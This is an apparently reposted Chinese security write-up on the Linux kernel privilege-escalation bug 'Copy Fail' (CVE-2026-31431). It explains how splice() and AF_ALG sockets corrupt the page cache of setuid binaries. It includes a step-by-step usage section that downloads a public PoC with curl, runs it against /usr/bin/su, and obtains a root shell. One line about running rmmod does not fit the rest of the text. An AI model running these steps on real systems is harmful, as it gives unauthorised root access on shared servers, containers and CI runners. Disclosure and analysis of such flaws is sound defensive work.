一个名为“Copy Fail”的通用Linux本地提权漏洞(CVE-2026-31431)近日被公开。该漏洞存在于Linux内核的crypto/algif_aead模块中,是一个自2017年以来就存在的直通型逻辑缺陷。
与大多数需要特定竞态条件或内核配置的本地提权漏洞不同,Copy Fail无需任何特殊条件。攻击者只需一个常规的本地用户账户,运行一个仅732字节的Python脚本,即可在几乎所有2017年后发布的Linux发行版上获得Root权限。该漏洞的发现者(Xint Code)在首个演示视频中,使用同一个未修改的二进制文件,在四个不同的发行版上成功获取了Root shell。
技术/功能
Copy Fail漏洞的核心在于内核加密API(AF_ALG)接口中algif_aead模块的一个逻辑缺陷。该缺陷通过将内核splice()系统调用与AF_ALG套接字链式结合,实现了一种非预期的页面缓存(Page-Cache)写入。
- 影响范围:所有内核版本介于2017年至2026年4月补丁(主线commit
a664bf3d603d)之间的Linux发行版。由于AF_ALG在绝大多数发行版的默认配置中都是启用的,因此该漏洞影响范围极广。 - 攻击原理:
- 直通逻辑错误:2017年引入的
algif_aead优化,本意是减少数据在内核空间与用户空间之间的拷贝,但其实现方式存在错误,使得来自页面缓存的数据页可以被直接用于可写操作。 - 链式利用:攻击者通过
AF_ALG套接字创建一个特定的加密算法上下文,然后使用splice()系统调用将目标文件(如一个setuid-root二进制文件/usr/bin/su)的页面缓存数据直接“拼接”到这个上下文作为输出缓冲区。 - 任意写入:巧妙构造算法和数据,触发该逻辑错误,使得内核将加密结果直接写入到原始文件的页面缓存页中。由于目标是页面缓存而非直接写入磁盘,因此攻击行为在系统重启前是非持久化的,但攻击者可以立即执行被修改的setuid程序或利用其他手段获得Root权限。
使用示例
以下是在受影响系统上使用官方PoC(概念验证)脚本的基本步骤。
# 1. 下载PoC脚本
curl -O https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
# 2. (可选) 检查脚本完整性
sha256sum copy_fail_exp.py
# 期望输出: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# 3. 运行PoC脚本(会修改 /usr/bin/su 的页面缓存)
python3 copy_fail_exp.py
# 4. 执行被修改的su命令获取Root权限
su
# 输入任意密码或直接回车
# id
uid=0(root) gid=0(root) groups=0(root)
详细解释:
- PoC脚本:脚本的目标是
/usr/bin/su。运行后,它会修改该二进制文件在内存(页面缓存)中的代码,使其在验证密码时总是返回成功。 - 获取Root:随后执行
su命令,由于/usr/bin/su是setuid-root程序,内核会以Root权限执行其代码。此时,由于页面缓存已被篡改,su命令会绕过密码验证,直接赋予攻击者一个Root shell。 - 非持久化:这些修改仅存在于页面缓存中。如果系统重启或该文件再次被读取导致页面缓存刷新,漏洞效果将消失,
/usr/bin/su恢复原样。
注意事项
- 攻击前提:攻击者必须拥有一个本地用户账户(可能是通过其他漏洞、弱密码或社会工程学获取)。
- 影响风险等级:
- 高风险:多租户Linux主机(如共享开发服务器、Shell-as-a-Service平台)、Kubernetes/容器集群(Pod可获得宿主节点权限)、CI/CD运行器(公网PR可获取运行器Root权限)。
- 中风险:云SaaS服务(如Notebook主机、无服务器函数运行环境,租户代码可逃逸)。
- 低风险:单用户个人电脑(本地提权后与其他漏洞链用)。
- 语法检查:确保在运行
rmmod命令前拥有Root权限。
参考链接
- Xint Code官方分析报告(包含漏洞根本原因、利用链图解)
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。